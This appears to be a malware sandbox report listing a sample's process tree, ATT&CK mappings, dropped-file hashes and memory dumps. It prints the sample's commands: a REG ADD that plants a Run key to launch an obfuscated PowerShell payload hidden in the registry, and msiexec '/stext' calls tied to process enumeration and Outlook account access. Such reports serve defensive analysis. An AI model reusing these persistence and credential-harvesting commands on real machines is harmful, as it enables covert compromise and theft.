  - Suspicious use of WriteProcessMemory
  PID:3656
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Terminalsekvensernes" /t REG_EXPAND_SZ /d "%Centroids% -windowstyle 1 $Jazze=(gp -Path 'HKCU:\Software\Reliberating\').Citronsommerfugle;%Centroids% ($Jazze)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2564
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Terminalsekvensernes" /t REG_EXPAND_SZ /d "%Centroids% -windowstyle 1 $Jazze=(gp -Path 'HKCU:\Software\Reliberating\').Citronsommerfugle;%Centroids% ($Jazze)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:1668
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\gsdakdbnyqcikdgyoxwai"
    3⤵
    PID:624
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\gsdakdbnyqcikdgyoxwai"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:4624
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\qmjtlwlhmyuvmsckxhrcthnjd"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:4748
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\aowlmowjagmawyqookddwlasmxoi"
    3⤵
    PID:3696
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\aowlmowjagmawyqookddwlasmxoi"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Network Service Discovery

Query Registry

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d34112a7b4df3c9e30ace966437c5e40

SHA1
ec07125ad2db8415cf2602d1a796dc3dfc8a54d6

SHA256
cd9665cdaf412455d6f8dbdb60c721d0cf2ac992f7cd4830d89e8c75f9cfbfbf

SHA512
49fd43e69ece9c8185ada6b6ea5bd8619cb2b31de49793d3bd80180ecf3cf8ad24cac6c494185c99623417de52465c832166f7a4890d36ac0f3be5bd7652e053

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_frhui2od.0ua.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\gsdakdbnyqcikdgyoxwai

Filesize
4KB

MD5
17eece3240d08aa4811cf1007cfe2585

SHA1
6c10329f61455d1c96e041b6f89ee6260af3bd0f

SHA256
7cc0db44c7b23e4894fe11f0d8d84b2a82ad667eb1e3504192f3ba729f9a7903

SHA512
a7de8d6322410ec89f76c70a7159645e8913774f38b84aafeeeb9f90dc3b9aa74a0a280d0bb6674790c04a8ff2d059327f02ebfda6c4486778d53b7fc6da6370

Download Submit
C:\Users\Admin\AppData\Roaming\Bridlers.Skr

Filesize
483KB

MD5
2309a7580edbc530b896385997a75033

SHA1
9348fa8878691721ccd869bbd9db15e340b2f1d8

SHA256
1b8be45b05bb5c1b3fc63d19791984dbf84cac36042f52289e99d4cc57312f2c

SHA512
d48ee62ed79a2e396bd24e42922923dde18ce6a6daa49bf0ed9ca0dbe3d4b62c77a1b3e06a8e7da29c4e0d565391f8428457c2bbe959b708adb15344cc6d1349

Download Submit
memory/2188-43-0x0000000007410000-0x00000000074A6000-memory.dmp

Filesize
600KB

Download
memory/2188-44-0x00000000073A0000-0x00000000073C2000-memory.dmp

Filesize
136KB

Download
memory/2188-47-0x0000000008BB0000-0x000000000DCEA000-memory.dmp

Filesize
81.2MB

Download
memory/2188-23-0x0000000004BB0000-0x0000000004BE6000-memory.dmp

Filesize
216KB

Download
memory/2188-24-0x0000000005270000-0x0000000005898000-memory.dmp

Filesize
6.2MB

Download
memory/2188-25-0x00000000058D0000-0x00000000058F2000-memory.dmp

Filesize
136KB

Download
memory/2188-26-0x0000000005970000-0x00000000059D6000-memory.dmp

Filesize
408KB

Download
memory/2188-27-0x00000000059E0000-0x0000000005A46000-memory.dmp

Filesize
408KB

Download
memory/2188-37-0x0000000005B10000-0x0000000005E64000-memory.dmp

Filesize
3.3MB

Download
memory/2188-45-0x0000000008600000-0x0000000008BA4000-memory.dmp

Filesize
5.6MB

Download
memory/2188-39-0x0000000006150000-0x000000000616E000-memory.dmp

Filesize
120KB

Download
memory/2188-40-0x0000000006190000-0x00000000061DC000-memory.dmp

Filesize
304KB

Download
memory/2188-41-0x00000000079D0000-0x000000000804A000-memory.dmp

Filesize
6.5MB

Download
memory/2188-42-0x00000000066E0000-0x00000000066FA000-memory.dmp

Filesize
104KB

Download
memory/3656-56-0x0000000000EE0000-0x0000000002134000-memory.dmp

Filesize
18.3MB

Download
memory/3656-55-0x0000000000EE0000-0x0000000002134000-memory.dmp

Filesize
18.3MB

Download
memory/3656-80-0x0000000023C90000-0x0000000023CA9000-memory.dmp

Filesize
100KB

Download
memory/3656-77-0x0000000023C90000-0x0000000023CA9000-memory.dmp

Filesize
100KB

Download
memory/3656-81-0x0000000023C90000-0x0000000023CA9000-memory.dmp

Filesize
100KB

Download
memory/4520-63-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4520-70-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4520-68-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4624-69-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4624-61-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4624-67-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4624-65-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4748-62-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4748-74-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4748-64-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/5104-16-0x00007FFBBD680000-0x00007FFBBE141000-memory.dmp

Filesize
10.8MB

Download
memory/5104-15-0x00007FFBBD680000-0x00007FFBBE141000-memory.dmp

Filesize
10.8MB

Download
memory/5104-6-0x000002387F520000-0x000002387F542000-memory.dmp

Filesize
136KB

Download
memory/5104-4-0x00007FFBBD683000-0x00007FFBBD685000-memory.dmp

Filesize
8KB

Download
memory/5104-19-0x00007FFBBD680000-0x00007FFBBE141000-memory.dmp

Filesize
10.8MB

Download
memory/5104-22-0x00007FFBBD680000-0x00007FFBBE141000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads